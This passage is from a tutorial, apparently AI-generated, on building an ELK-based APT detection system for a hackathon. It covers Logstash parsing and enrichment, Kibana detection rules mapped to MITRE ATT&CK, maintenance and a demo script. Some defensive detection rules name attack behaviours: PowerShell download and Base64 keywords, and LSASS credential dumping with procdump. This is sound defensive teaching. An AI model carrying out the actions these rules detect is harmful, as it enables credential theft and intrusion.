curl -XPOST 'http://logstash-host:8080' -H 'Content-Type: application/json' -d '{"message":"test", "mitre":"T1059.001"}'

**4.9 Example: Full flow demo for a PowerShell test**

1. **Enable PowerShell operational logging** on Windows test host (see 4.6).
2. **Run small Atomic test** or a benign PowerShell command:

# e.g. simulate download command but do not download

powershell -Command "Write-Output 'AtomicTest - PowerShell - Test' "

# or via Invoke-AtomicTest T1059.001 -ShowDetails then run the show command

1. **Winlogbeat** will pick up Microsoft-Windows-PowerShell/Operational events and forward to Logstash.
2. **Logstash pipeline** (example filter):

filter {

if [event\_provider] == "Microsoft-Windows-PowerShell" {

mutate { add\_field => { "mitre" => "T1059.001" } }

# extract user/process/commandline fields

}

}

1. **Elasticsearch** indexes event; Kibana Discover shows the event.
2. **Detection rule** (EQL/KQL) triggers an alert in Kibana Detections. (We’ll create rules in Step 5/6.)

**4.10 Useful Logstash pipeline examples & files**

**Suricata: suricata.conf** (see 4.4 earlier).  
**Winlogbeat input (Logstash) winlogbeat.conf:**

input {

beats { port => 5044 }

}

filter {

if [agent][type] == "winlogbeat" {

mutate { add\_field => { "event.source" => "winlogbeat" } }

}

}

output {

elasticsearch {

hosts => ["elasticsearch:9200"]

index => "winlogbeat-%{+YYYY.MM.dd}"

user => "elastic"

password => "${ELASTIC\_PASSWORD}"

}

}

Place pipeline files in docker-elk/logstash/pipeline/ (or your Logstash config dir), restart Logstash to pick up.

**4.11 Verify ingestion in Kibana**

* Go to **Kibana → Discover**.
* Use index pattern winlogbeat-\*, filebeat-\*, suricata-\* as relevant.
* Filter by the field you added (e.g., mitre: "T1059.001") or search for SimulatedPowerShellInvocation.
* Save a sample Discover query for later use.

**4.12 Tagging & dataset that you should commit to repo**

* Save generated sample logs in atomic-tests/ with README describing test parameters, time, snapshot IDs, and MITRE mapping: atomic-tests/results/YYYYMMDD/.
* Commit Logstash pipeline files that processed these tests in logstash/pipelines/.
* Keep a CSV of test outcomes (atomic-tests/results/summary.csv) showing technique, test time, whether detection fired (you can fill as you test).

**4.13 Deliverables for Step 4**

* At least **6 labeled test events** ingested into ELK corresponding to the 6 MITRE techniques chosen.
* Logstash pipeline file(s) used to parse these events committed to logstash/pipeline/.
* A atomic-tests/ folder with the commands you ran and snapshot IDs for each VM.
* Kibana Discover screenshots showing the ingested labeled events (saved into docs/screenshots/).
* A short docs/ingest-runbook.md describing how to replay the tests safely.

**4.14 Links & references for Step 4**

* Atomic Red Team repo & docs: [https://github.com/redcanaryco/atomic-red-team](https://github.com/redcanaryco/atomic-red-team?utm_source=chatgpt.com) & [https://www.atomicredteam.io/](https://www.atomicredteam.io/?utm_source=chatgpt.com)
* Invoke-AtomicRedTeam PS Module: <https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/Invoke-AtomicTest>
* Suricata docs (EVE JSON output): https://suricata.readthedocs.io/en/latest/output/eve/eve-json-output.html
* Zeek docs: https://docs.zeek.org/en/current/index.html
* Filebeat log input docs (read-from-file): <https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-input-log.html>
* Logstash file input & json codec: <https://www.elastic.co/guide/en/logstash/current/plugins-inputs-file.html>
* PowerShell scriptblock logging overview: https://learn.microsoft.com/en-us/powershell/scripting/security/overview-of-powershell-script-block-logging

**4.15 Common pitfalls & how to troubleshoot**

* **No events in Kibana:** check Filebeat / Winlogbeat status and Logstash logs; ensure network connectivity to port 5044.
* **Events present but not parsed:** adjust Grok patterns or use json codec if message is JSON (e.g., Suricata eve.json).
* **PowerShell command contents missing:** enable ScriptBlockLogging on Windows (lab only).
* **Too many identical events (noise):** add rate-limiting or filter with drop in Logstash for test runs.

**🧩 Step 5 — Parsing, Normalization & Enrichment (Logstash)**

**🎯 Goal**

Convert raw log lines into structured, searchable JSON with meaningful fields (per ECS – Elastic Common Schema) and enrich them using built-in Logstash plugins — so you can write detection rules and dashboards later.

**🧱 5.1 Understanding how Logstash fits in**

Flow:

(Winlogbeat / Filebeat / Suricata)

↓

Logstash

(filter stage)

• Parse → ECS fields

• Normalize values

• Enrich with GeoIP / Threat-Intel

↓

Elasticsearch

↓

Kibana

Each pipeline has three sections:

input { beats { port => 5044 } }

filter { ...process, parse, enrich... }

output { elasticsearch { … } }

**⚙️ 5.2 Create a structured Logstash pipeline folder**

Inside your ELK setup (docker-elk/logstash/pipeline/ or /etc/logstash/conf.d/):

05-normalization.conf

05-enrichment.conf

05-output.conf

You can merge all into one file, but modular helps clarity.

**🧩 5.3 Example base pipeline (for Filebeat + Winlogbeat)**

input {

beats {

port => 5044

}

}

filter {

########################################################################

# 1️⃣ Identify source type (Windows vs Linux vs Suricata)

########################################################################

if [agent][type] == "winlogbeat" {

mutate { add\_field => { "event.source" => "windows" } }

} else if [agent][type] == "filebeat" {

mutate { add\_field => { "event.source" => "linux" } }

} else if [agent][type] == "suricata" {

mutate { add\_field => { "event.source" => "network" } }

}

########################################################################

# 2️⃣ Normalize timestamps

########################################################################

date {

match => ["@timestamp", "ISO8601"]

target => "@timestamp"

}

########################################################################

# 3️⃣ Parse raw message fields (example: auth.log)

########################################################################

if [log][file][path] =~ "auth.log" {

grok {

match => { "message" => "%{SYSLOGTIMESTAMP:sys\_time} %{HOSTNAME:host} %{WORD:process}\[%{NUMBER:pid}\]: %{GREEDYDATA:auth\_message}" }

}

mutate {

rename => { "auth\_message" => "event.message" }

add\_field => { "event.module" => "auth" }

}

}

########################################################################

# 4️⃣ Example PowerShell parsing (Winlogbeat)

########################################################################

if [event][provider] == "Microsoft-Windows-PowerShell" {

mutate {

add\_field => { "mitre.technique" => "T1059.001" }

}

}

}

**🧠 5.4 Add Enrichment Plugins**

**🔹 a. GeoIP (for public IPs)**

Installs the free GeoLite2 database and adds country/city info.

filter {

if [source][ip] {

geoip {

source => "[source][ip]"

target => "geoip"

database => "/usr/share/GeoIP/GeoLite2-City.mmdb"

}

}

}

Docs:  
<https://www.elastic.co/guide/en/logstash/current/plugins-filters-geoip.html>  
Download GeoLite2 DB (free signup): https://dev.maxmind.com/geoip/geolite2-free-geolocation-data

**🔹 b. Threat Intelligence (check IPs/domains)**

Enrich data with external threat feeds (like AbuseIPDB or AlienVault OTX).  
Simplest: local CSV of known bad IPs.

filter {

if [destination][ip] {

translate {

field => "[destination][ip]"

destination => "[threat][indicator][description]"

dictionary\_path => "/usr/share/logstash/config/malicious\_ips.yml"

}

}

}

malicious\_ips.yml example:

"45.67.23.12": "Known C2 Server"

"104.21.56.22": "Malware beacon"

**🔹 c. User & Process normalization**

mutate {

rename => { "user" => "[user][name]" }

rename => { "process" => "[process][name]" }

rename => { "pid" => "[process][pid]" }

}

Aligns to Elastic Common Schema → easier filtering in Kibana.

**🔹 d. Add severity mapping**

mutate {

add\_field => { "event.severity" => "medium" }

}

if [event][module] == "auth" and "failed password" in [message] {

mutate { replace => { "[event][severity]" => "high" } }

}

**🧾 5.5 Output Section (write to Elasticsearch)**

output {

elasticsearch {

hosts => ["elasticsearch:9200"]

index => "normalized-logs-%{+YYYY.MM.dd}"

user => "elastic"

password => "${ELASTIC\_PASSWORD}"

}

stdout { codec => rubydebug } # Debug output to console

}

**🧮 5.6 Validate the pipeline**

Restart Logstash:

docker compose restart logstash

# or if native:

sudo systemctl restart logstash

Check logs:

docker compose logs -f logstash

If successful → you’ll see:

Pipeline started successfully

**🧩 5.7 Verify in Kibana**

1. Go to **Stack Management → Index Management**  
   You’ll see a new index:  
   normalized-logs-2025.10.08
2. Create a new **index pattern** for it.
3. Open **Discover** tab → filter for  
   event.module: auth or event.source: windows.
4. You’ll now see **clean structured fields**, not messy text!

**⚠️ 5.8 Troubleshooting parsing errors**

| **Problem** | **Fix** |
| --- | --- |
| Grok parse failure | Use the Grok Debugger in Kibana → Dev Tools → Grok Debugger |
| Missing fields | Double-check field names ([log][file][path] vs [source][path]) |
| Logstash high CPU | Disable debug output (stdout) after testing |
| Elasticsearch rejects events | Check mappings → too long field names or unmapped data types |

Useful tool:  
[https://grokdebugger.com/](https://grokdebugger.com/?utm_source=chatgpt.com) (for testing Grok regexes)

**🔍 5.9 Example: Suricata Enrichment**

If you integrated Suricata earlier (Step 4), add extra mapping:

filter {

if [event][source] == "network" {

mutate {

rename => { "[src\_ip]" => "[source][ip]" }

rename => { "[dest\_ip]" => "[destination][ip]" }

}

if [alert][signature] {

mutate { add\_field => { "event.action" => "%{[alert][signature]}" } }

}

}

}

**📘 5.10 Helpful references**

* ECS (Elastic Common Schema): <https://www.elastic.co/guide/en/ecs/current/ecs-reference.html>
* GeoIP setup: <https://www.elastic.co/guide/en/logstash/current/plugins-filters-geoip.html>
* Threat Intel plugin: <https://www.elastic.co/guide/en/logstash/current/plugins-filters-translate.html>
* Grok patterns: <https://www.elastic.co/guide/en/logstash/current/plugins-filters-grok.html>

**✅ 5.11 Deliverables after Step 5**

* Working Logstash pipelines under logstash/pipeline/:
  + 05-normalization.conf
  + 05-enrichment.conf
  + 05-output.conf
* Clean, structured indices in Elasticsearch (normalized-logs-\*)
* Kibana Discover views showing parsed fields and enrichment (e.g., GeoIP country, severity)
* Screenshots in docs/screenshots/normalization-results.png
* Short markdown note explaining pipeline logic (docs/pipeline-notes.md)

**🧠 Step 6 — Detection Rules & Dashboards for APTs**

**🎯 Goal**

Use the structured, enriched data in Elasticsearch to:

* Detect **APT tactics** (like credential dumping, lateral movement, exfiltration, PowerShell misuse).
* Create **real-time alerts** and visualizations in Kibana.
* Map detections to **MITRE ATT&CK** framework.
* Build **interactive dashboards** for the judges to see your system’s intelligence.

**🧩 Step 6.1 — Understanding Detection Logic**

Your ELK now stores clean JSON logs like this:

{

"user.name": "admin",

"source.ip": "192.168.1.22",

"event.action": "Failed password",

"event.module": "auth",

"mitre.technique": "T1110.001",

"geoip.country\_name": "Unknown"

}

You’ll now tell Kibana *what patterns mean “attack”* using **KQL (Kibana Query Language)** or **EQL (Event Query Language)** rules.

**⚙️ Step 6.2 — Create Detection Rules in Kibana (Security App)**

**1️⃣ Open Detection Engine**

* In Kibana → click **“Security”** → **“Detections”** tab.
* If it asks to “Activate detection engine,” click **Set up**.

**2️⃣ Create a new rule**

* Click **Create new rule → Custom query**.

Example:  
**Detect multiple failed SSH logins**  
Query (KQL):

event.module : "auth" and message : "Failed password"

Then under **Threshold**, set:

Count ≥ 5

Group by [source.ip]

Name: “Multiple SSH Failed Logins (T1110.001)”  
Severity: Medium  
MITRE ATT&CK: T1110 — Brute Force  
Schedule: every 1 minute  
Action: Email or log alert (you can just show it in Kibana for demo).

**3️⃣ Another example: PowerShell suspicious usage (Windows)**

**Query (KQL):**

event.provider : "Microsoft-Windows-PowerShell" and message : ("Invoke-WebRequest" or "DownloadFile" or "Base64String")

MITRE Technique: **T1059.001 — PowerShell**  
Severity: High  
Description: Detects use of potentially malicious PowerShell commands.

**4️⃣ Example: Data Exfiltration via HTTP**

If using Suricata or Zeek network logs:

event.source : "network" and network.protocol : "http" and bytes\_out > 1000000

(More than 1 MB sent outbound → suspicious exfil.)

MITRE: T1041 — Exfiltration over C2 Channel

**5️⃣ Example: Credential Dumping (Windows)**

Look for process names like “lsass.exe” + suspicious tool usage.

process.name : ("procdump.exe" or "lsass.exe") and event.action : "process\_start"

MITRE: T1003 — Credential Dumping  
Severity: Critical

**6️⃣ Example: Lateral Movement Detection**

event.module : "winlogbeat" and (event.action : "network\_connection" and destination.port : 3389)

→ Detects unexpected RDP usage.  
MITRE: T1021 — Remote Services

**7️⃣ Example: Privilege Escalation (Linux)**

event.module : "auth" and message : ("sudo" and "authentication failure")

MITRE: T1068 — Privilege Escalation  
Severity: Medium

**📈 Step 6.3 — Visualizing in Dashboards**

Go to **Kibana → Dashboard → Create new dashboard**.

Add these types of panels:

| **Visualization** | **Description** | **Example Query** |
| --- | --- | --- |
| **Pie Chart** | Top 5 attack types | terms of mitre.technique.keyword |
| **Bar Chart** | Failed logins per IP | terms of source.ip.keyword |
| **Line Chart** | Number of alerts over time | count by @timestamp |
| **Map View** | Source of external IPs | use geoip.location |
| **Data Table** | Recent High-Severity Alerts | filter event.severity : "high" |

Use **Saved Searches** from “Discover” to add panels.

**🧠 Step 6.4 — Map Detections to MITRE ATT&CK**

In each rule, include:

* **Tactic (e.g., Privilege Escalation)**
* **Technique ID (e.g., T1059.001)**

Make a summary table in your docs:

| **MITRE ID** | **Technique** | **Rule Name** | **Log Source** |
| --- | --- | --- | --- |
| T1059.001 | PowerShell | Suspicious PowerShell Usage | Winlogbeat |
| T1110 | Brute Force | Multiple SSH Failures | Filebeat |
| T1041 | Data Exfiltration | Large HTTP POSTs | Suricata |
| T1021 | Remote Services | Unusual RDP/SSH Access | Winlogbeat |
| T1003 | Credential Dumping | LSASS Process Dump | Winlogbeat |

**⚠️ Step 6.5 — Testing and Validation**

Use your APT simulation from Step 4:

* Run a PowerShell or SSH brute force simulation.
* Check Kibana → Security → Alerts tab.  
  You should see a new alert triggered by your rule.

Validate precision/recall:

* Count how many true vs false positives you get.
* Adjust query filters.

**🧩 Step 6.6 — Optional Enhancements**

**🔸 Alert Actions**

You can configure:

* Send email/slack webhook
* Trigger webhook to incident response system  
  (Example placeholder for demo.)

**🔸 Timeline Investigation**

Kibana “Timeline” lets you correlate multiple alerts → show APT chain like:

PowerShell Run → LSASS Dump → HTTP Exfiltration

**💻 Step 6.7 — Create a Dashboard for Demo (judges love visuals)**

**Suggested Panels for Demo:**

1. ⚡ Live Alert Feed
2. 📊 Attack Type Distribution (by MITRE ID)
3. 🌍 GeoMap of source IPs
4. 🧑‍💻 Top 10 Attackers (source IPs)
5. 🕒 Alerts over Time Graph
6. 🧩 Technique Heatmap

For an even better impression, add your logo and project name:

**“ELK-APTGuard: Transformer-Based Threat Detection & Response”**

**📘 Step 6.8 — Helpful Resources**

* Kibana Detections:  
  <https://www.elastic.co/guide/en/security/current/prebuilt-rules.html>
* MITRE ATT&CK Navigator (reference tactics & techniques):  
  [https://attack.mitre.org/](https://attack.mitre.org/?utm_source=chatgpt.com)
* Kibana Dashboard creation:  
  <https://www.elastic.co/guide/en/kibana/current/dashboard.html>
* Rule query syntax:  
  <https://www.elastic.co/guide/en/kibana/current/kuery-query.html>

**✅ Step 6 Deliverables**

| **Deliverable** | **Description** |
| --- | --- |
| rules/ folder | Exported JSON of detection rules |
| dashboard.png | Screenshot of your final APT dashboard |
| alerts-demo.mp4 | Short clip showing alerts triggering live |
| docs/rules-summary.md | List of all rules with MITRE mapping |
| docs/validation.csv | Table of test cases, expected vs detected |

**🔁 Step 7 — Continuous Updates & Maintenance**

**🎯 Goal**

To make the ELK-based APT detection system **self-sustaining**:

* Automatically ingest new log data.
* Update detection rules when new patterns are found.
* Allow fine-tuning of configurations (Logstash, Beats, dashboards).
* Ensure easy retraining or updates without downtime.

**🧩 Step 7.1 — Why Continuous Updates Matter**

APT attacks constantly evolve — new tactics, new scripts, new behaviors.

If your system doesn’t learn from *fresh benign* and *malicious* data, it’ll get outdated fast.

So, you’ll set up:

1. **Incremental log ingestion**
2. **Rule auto-updates**
3. **Retraining & tuning scripts**
4. **System monitoring**
5. **Backup & restore**

**⚙️ Step 7.2 — Continuous Log Ingestion**

Your Beats (Filebeat, Winlogbeat, Suricata) already send logs in near real-time.

**✅ To make ingestion continuous:**

* Keep all Beats configured as services:
* sudo systemctl enable filebeat
* sudo systemctl enable winlogbeat
* sudo systemctl enable suricata
* Set Logstash pipelines to **auto reload**:  
  In logstash.yml:
* config.reload.automatic: true
* config.reload.interval: 3s

This means you can edit pipeline .conf files and Logstash reloads them automatically.

**🧠 Step 7.3 — Incremental Model & Rule Updates**

Although your ELK detection logic is mostly rule-based, you can make it semi-intelligent:

1. Use **Elastic Machine Learning Jobs** (built into Kibana → “Machine Learning” tab)
2. Train models to detect anomalies like:
   * Sudden increase in failed logins
   * New PowerShell command patterns
   * Unusual outbound network traffic volume

**📊 Example**

Go to **Kibana → Machine Learning → Anomaly Detection**  
Create Job → Choose Index → Select normalized-logs-\*  
Field to analyze: bytes\_out  
Detector: “High mean value” per source.ip  
→ This detects data exfiltration anomalies automatically.

Docs:  
🔗 <https://www.elastic.co/guide/en/machine-learning/current/create-and-run-anomaly-detection-jobs.html>

**⚡ Step 7.4 — Auto Updating Detection Rules**

Elastic allows you to:

* **Export** rules to JSON.
* Keep them in a **Git repository**.
* Schedule periodic sync (daily/weekly) with a script that:
  + Pulls the latest rules.
  + Uploads them to Kibana using API.

**Example: Upload rule via API**

curl -X POST "http://localhost:5601/api/detection\_engine/rules/\_import" \

-H "kbn-xsrf: true" \

-H "Content-Type: multipart/form-data" \

-F "file=@rules/latest\_rules.ndjson"

So, if you update rules in GitHub → system updates automatically.

**🔄 Step 7.5 — Log Rotation and Archiving**

Your logs will grow fast, so manage storage smartly.

**Elasticsearch Index Lifecycle Policy (ILM)**

In Kibana → Stack Management → Index Lifecycle Policies.

Set policy for your logs:

* **Hot** (7 days): searchable
* **Warm** (30 days): read-only
* **Delete** (60+ days): auto-deletion

ILM Docs:  
🔗 <https://www.elastic.co/guide/en/elasticsearch/reference/current/index-lifecycle-management.html>

**🧾 Step 7.6 — Backup & Restore (Snapshots)**

Set up scheduled backups of your indices.

**Example snapshot policy:**

1. Create a repository:

PUT \_snapshot/elk\_backup\_repo

{

"type": "fs",

"settings": {

"location": "/mnt/backup"

}

}

1. Create a daily snapshot:

PUT \_snapshot/elk\_backup\_repo/snapshot\_2025\_10\_08

{

"indices": "normalized-logs-\*"

}

Docs:  
🔗 <https://www.elastic.co/guide/en/elasticsearch/reference/current/snapshots-take-snapshot.html>

**🧰 Step 7.7 — System Health Monitoring**

Use **Elastic Stack Monitoring** to visualize:

* CPU, memory, and storage usage
* Logstash pipeline throughput
* Elasticsearch index sizes

Enable monitoring:

xpack.monitoring.enabled: true

xpack.monitoring.collection.enabled: true

Access via Kibana → Stack Monitoring.

Docs:  
🔗 <https://www.elastic.co/guide/en/elasticsearch/reference/current/monitor-elasticsearch-cluster.html>

**🧩 Step 7.8 — Retraining on New Data (Advanced)**

If you later integrate **Transformer or ML models**, you can retrain them periodically:

* Export fresh logs (normalized-logs-\*) as CSV.
* Fine-tune your anomaly detection transformer model (e.g., BERT-based) on benign vs malicious patterns.
* Use scheduled cron job to trigger retraining monthly.

Example cron entry:

0 2 1 \* \* /usr/bin/python3 /opt/elk-aptguard/retrain\_model.py

Retraining script should:

1. Fetch new labeled logs from Elasticsearch using REST API.
2. Fine-tune model (on local or Colab).
3. Update inference API endpoint (used in alert correlation).

**🧑‍💻 Step 7.9 — Maintenance Checklist (Weekly/Monthly)**

| **Frequency** | **Task** | **Purpose** |
| --- | --- | --- |
| Daily | Check alerts dashboard | Validate real-time rules |
| Weekly | Review pipeline logs | Catch broken parsers |
| Weekly | Reindex new log formats | Normalize new sources |
| Monthly | Update GeoIP/Threat intel feeds | Keep enrichment accurate |
| Monthly | Validate model performance | Detect false positives |
| Quarterly | Clean old indices | Free up disk space |
| Quarterly | Backup config & snapshots | Disaster recovery |

**📊 Step 7.10 — Optional Enhancements (for bonus points)**

* Add a **web-based dashboard** outside Kibana (e.g., Flask/React) to display alerts in simpler UI.
* Integrate Slack/Email notifications using Kibana alert actions.
* Add a “threat summary report” PDF generator (use Kibana Reporting or Python).

**✅ Step 7 Deliverables**

| **Deliverable** | **Description** |
| --- | --- |
| cron/retrain\_model.py | Script for retraining on new data |
| ilm-policy.json | Index Lifecycle Policy config |
| monitoring-dashboard.png | Screenshot of ELK Monitoring |
| docs/system-maintenance.md | Maintenance schedule and commands |
| rules-sync.sh | Rule update automation script |

**📘 References**

* ILM Policy Docs → <https://www.elastic.co/guide/en/elasticsearch/reference/current/index-lifecycle-management.html>
* Machine Learning with Elastic → <https://www.elastic.co/guide/en/machine-learning/current/ml-overview.html>
* Detection Rules Management API → <https://www.elastic.co/guide/en/security/current/rules-api.html>
* ELK Snapshot/Restore → <https://www.elastic.co/guide/en/elasticsearch/reference/current/snapshots.html>

🎉 **After Step 7**, your project is now:  
✅ Fully functional  
✅ Continuously improving  
✅ Scalable & demo-ready

**🎤 Step 8 — SIH Presentation & Live Demo Plan**

*(Final Step — The “Showcase” Phase)*

This step helps you package your 7-step implementation into a **professional, competition-ready demonstration** with slides, screenshots, short video clips, and live actions.

**🎯 Objective**

To confidently **explain, demonstrate, and defend** your project in 5–7 minutes during Smart India Hackathon (SIH) judging, covering:

* Problem → Solution → Implementation → Impact
* Live demo of detection pipeline in action
* Innovation + Practical feasibility

**🧩 Step 8.1 — Ideal Presentation Flow (6 slides total)**

| **Slide** | **Title** | **Content** |
| --- | --- | --- |
| **1️⃣ Title & Overview** | *Development of Threat Rules in ELK Stack for Detecting APTs* | - Team name, members, mentors - Problem theme: Cybersecurity - Organization: NTRO |
| **2️⃣ Problem & Motivation** | *Why APT Detection Matters* | - Explain APTs: long-term, stealthy cyberattacks. - Current issue: organizations fail to detect multi-stage attacks early. - Example: Credential theft → lateral movement → data exfiltration. |
| **3️⃣ Proposed Solution** | *ELK-Based APT Detection Pipeline* | - Diagram (use the one you generated earlier). - Components: Beats → Logstash → Elasticsearch → Kibana → Alerts. - Explain how you develop **threat rules** that detect APT behavior in real time. |
| **4️⃣ Implementation Details** | *Our Tech Stack & Process* | - Tools: ELK Stack (Elastic, Logstash, Kibana), Filebeat, Suricata, Python. - Key features: • Real-time log collection • Parsing & normalization • Threat rule creation (MITRE ATT&CK mapped) • Dashboard visualization. - Add screenshots of Kibana dashboards, alerts, and Suricata logs. |
| **5️⃣ Demo Flow** | *Live Detection Showcase* | Steps: 1️⃣ Run an Atomic Red Team test (e.g., PowerShell command). 2️⃣ Logs collected via Winlogbeat → Logstash → Elasticsearch. 3️⃣ Kibana alert triggers showing MITRE technique. 4️⃣ Dashboard updates with geo-location & severity. |
| **6️⃣ Impact & Future Scope** | *Benefits & Future Expansion* | ✅ Early APT detection (real-time) ✅ Easy integration in existing SOC ✅ Reusable detection rules for other attacks ➡️ Future: Integrate AI/Transformers for adaptive learning and zero-day attack prediction. |

**🎬 Step 8.2 — Live Demo Script (for SIH Presentation)**

🧑‍💻 *Presenter 1:*  
“We’ve built an ELK-based APT Detection System that can detect real-world cyberattacks by analyzing logs in real-time.”

🧠 *Presenter 2:*  
“APT or Advanced Persistent Threats are stealthy, long-term cyber intrusions that are hard to detect with traditional tools. Our solution leverages ELK Stack to automatically collect, parse, and analyze logs — detecting unusual patterns like PowerShell misuse, credential dumping, or exfiltration.”

⚙️ *Presenter 3:*  
“We integrated Filebeat, Winlogbeat, and Suricata for real-time data collection. Logstash normalizes and enriches logs with GeoIP and threat intel. Detection rules are based on MITRE ATT&CK framework and continuously updated.”

🎯 *Presenter 4:*  
“Now, let’s show a live demo. We’ll trigger a simulated PowerShell attack using Atomic Red Team.”  
*(run the test — show Kibana alert triggering)*

💡 *Presenter 5:*  
“As you see, within seconds, the event appears in Kibana with a mapped MITRE ID (T1059.001) and alert severity marked as High.”

🧩 *Presenter 6:*  
“Our dashboard provides real-time analytics on attack types, sources, and severities, helping security analysts respond immediately.”

✅ *Presenter 1 (closing):*  
“This system transforms ELK into a next-generation APT detection platform that’s modular, scalable, and suitable for government or enterprise SOC environments.”

**🧠 Step 8.3 — Must-Have Visuals for SIH Slides**

✅ **System Architecture** — (already generated by you earlier).  
✅ **Log Flow Screenshot** — Beats → Logstash → Elasticsearch logs in Kibana.  
✅ **Detection Alert Screenshot** — with MITRE Technique ID visible.  
✅ **Dashboard Snapshot** — Geo map + bar graph of attack frequency.  
✅ **Demo Recording (Optional)** — 15–30s screen capture of alert triggering.

**🎥 Step 8.4 — Backup Plan (If Internet or VM Fails During Demo)**

If live demo doesn’t work due to network restrictions:

* Keep **recorded video (MP4)** of alert generation (2–3 short clips).
* Prepare **screenshots** of every stage (log ingestion → alert → dashboard).
* Practice **offline explanation** with visuals.

*(Judges usually appreciate that — they know cyber setups are tricky to demo live.)*

**🧰 Step 8.5 — Additional Notes for Judging Rounds**

| **Judge Might Ask** | **How You Answer** |
| --- | --- |
| “What’s new here? ELK already exists.” | “We built **custom threat detection rules for APTs** that map directly to MITRE ATT&CK and tested them using simulated attacks — most ELK setups are generic log systems, ours detects complex multi-stage threats.” |
| “Why not use AI?” | “We plan to add **Transformer-based behavior modeling** in the next phase — starting with ELK gave us a robust foundation for real-time data pipelines.” |
| “How is this useful for NTRO?” | “It’s a **reusable detection framework** that can be deployed in national SOCs for early APT warning, using open-source, cost-free infrastructure.” |
| “Can it scale?” | “Yes. ELK is horizontally scalable. We can easily deploy multiple Logstash nodes or Elasticsearch clusters as traffic grows.” |

**🗂️ Step 8.6 — Final Deliverables Folder Structure**

ELK-APTGuard/

├── logstash/

│ ├── pipeline/

│ │ ├── 05-normalization.conf

│ │ ├── 05-enrichment.conf

│ │ └── 05-output.conf

│ └── config/

├── rules/

│ ├── detection\_rules.json

│ └── mitre\_mapping.csv

├── docs/

│ ├── architecture.png

│ ├── dashboard\_screenshot.png

│ ├── alert\_demo.mp4

│ ├── SIH\_Presentation.pptx

│ └── system\_maintenance.md

├── beats\_configs/

│ ├── filebeat.yml

│ ├── winlogbeat.yml

│ └── suricata.conf

└── docker-compose.yml

**🏆 Step 8.7 — Bonus “Innovation” Add-Ons (for higher scores)**

If time permits before the finale:

* Add **threat-intel feed integration** (AlienVault OTX or AbuseIPDB API).
* Add **Telegram/Slack alerts** via webhook when rule triggers.
* Add **auto-mitigation scripts** (e.g., block IP via firewall using API).
* Add **Transformer-based anomaly detection** (Step 7’s advanced retraining).

These will easily earn you innovation marks.

**✅ Step 8 Deliverables**

| **Deliverable** | **Description** |
| --- | --- |
| SIH\_Presentation.pptx | 6–8 slide summary (problem → solution → demo → impact) |
| demo\_video.mp4 | 30-sec recording of live detection |
| dashboard.png | Dashboard screenshot |
| architecture.png | System architecture (generated earlier) |
| judges\_QA\_sheet.md | Prepared answers to common SIH questions |

**🎬 Your Demo Sequence (5–7 min Script)**

1. **(0:00–0:45)** Intro + Problem
2. **(0:45–2:00)** Architecture + Solution Explanation
3. **(2:00–3:30)** Implementation (show stack)
4. **(3:30–5:00)** Live Demo (simulate APT → alert trigger)
5. **(5:00–6:00)** Dashboard + Results
6. **(6:00–7:00)** Impact, Future Work, Q&A

**🎯 Final Line for Judges**

“Our solution transforms traditional ELK into a **real-time, APT-aware detection engine**.  
It not only visualizes attacks but also empowers security agencies to detect and respond before damage occurs — all built using open-source, scalable technologies.”

**🧩 Step 9 — Deployment, Maintenance & Continuous Threat Rule Updates**

This is the stage that comes **after your system is built and demo-ready**, ensuring your ELK-based APT Detection system runs smoothly, scales well, and keeps evolving with new threats.

**🎯 Goal of Step 9**

To make your project **production-ready** — meaning it can run continuously, handle real data, update rules, and stay secure even after SIH.

We’ll cover:

1. ✅ Deployment (Local → Cloud)
2. 🔄 Continuous Threat Rule Updates
3. 🧰 Maintenance & Monitoring
4. 📈 Scalability Enhancements
5. 🔐 Security Hardening

**🧱 Step 9.1 — Deployment Options**

You have two beginner-friendly options for deployment:

**Option 1 — Local Deployment (for Demo / SIH use)**

Best for beginners — quick setup on your laptops or a single system.

**Steps:**

1. Open your terminal and navigate to your project directory.
2. cd ELK-APTGuard
3. Run all components with Docker Compose:
4. docker-compose up
5. Access services:
   * **Elasticsearch:** <http://localhost:9200>
   * **Kibana:** <http://localhost:5601>
   * **Logstash:** auto-runs via Docker
   * **Suricata logs:** /var/log/suricata/fast.log

🧩 *Reference:*  
📘 [Elastic Official Docker Setup Guide](https://www.elastic.co/guide/en/elastic-stack-get-started/current/get-started-docker.html)

**Option 2 — Cloud Deployment (for advanced use)**

If you want to show scalability or remote access.

You can use:

* **AWS EC2 (Free Tier)** — Ubuntu instance
* **Elastic Cloud (official service)** — free trial 14 days
* **Render / Railway.app / Google Cloud Run** — simple deployment options

**Steps (for Elastic Cloud):**

1. Sign up → https://cloud.elastic.co
2. Choose “Deploy Elasticsearch + Kibana”.
3. Upload your Logstash configs to your repo or connect via Beats.
4. In Kibana → Import your saved dashboards.
5. Add your threat rules manually (from .json).

🧩 *Reference:*  
📘 [Elastic Cloud Quickstart](https://www.elastic.co/guide/en/cloud/current/ec-getting-started.html)

**🔄 Step 9.2 — Continuous Threat Rule Updates**

APT patterns evolve constantly — your system must evolve too.

**How to Keep Rules Updated**

1. **Subscribe to MITRE ATT&CK RSS feed**  
   👉 https://attack.mitre.org/resources/rss/
2. **Pull threat rules from public repos like:**
   * [Sigma Rules (Generic Detection Rules)](https://github.com/SigmaHQ/sigma?utm_source=chatgpt.com)
   * [Elastic Detection Rules](https://github.com/elastic/detection-rules?utm_source=chatgpt.com)
3. Convert Sigma → Elastic format using **sigmac**:
4. sigmac -t es-qs -c winlogbeat config.yml rules/windows/powershell\_execution.yml
5. Add new rules to your detection pipeline (e.g., Logstash or Kibana SIEM).

🧩 *Reference:*  
📘 [Sigma Rule Framework](https://github.com/SigmaHQ/sigma?utm_source=chatgpt.com)

**🧰 Step 9.3 — Maintenance Plan**

| **Task** | **Frequency** | **Description** |
| --- | --- | --- |
| ✅ Backup Elasticsearch indices | Weekly | Export .json snapshots or use S3 |
| 🔍 Update Logstash & Beats configs | Monthly | Ensure compatibility with latest version |
| ⚙️ Tune pipeline performance | Ongoing | Reduce latency, batch size optimizations |
| 🚨 Review alerts | Daily | Validate false positives or missed detections |
| 🧠 Retrain or refine rules | Quarterly | Based on new threat patterns |

🧩 *Helpful tool:*  
📘 [Elastic Snapshot and Restore Guide](https://www.elastic.co/guide/en/elasticsearch/reference/current/snapshots-take-snapshot.html)

**📈 Step 9.4 — Scalability Enhancements**

If you want your system to handle **real-world SOC workloads**, you can scale it:

| **Component** | **Scaling Method** |
| --- | --- |
| Elasticsearch | Add more data nodes (cluster setup) |
| Logstash | Use multiple pipelines or distributed nodes |
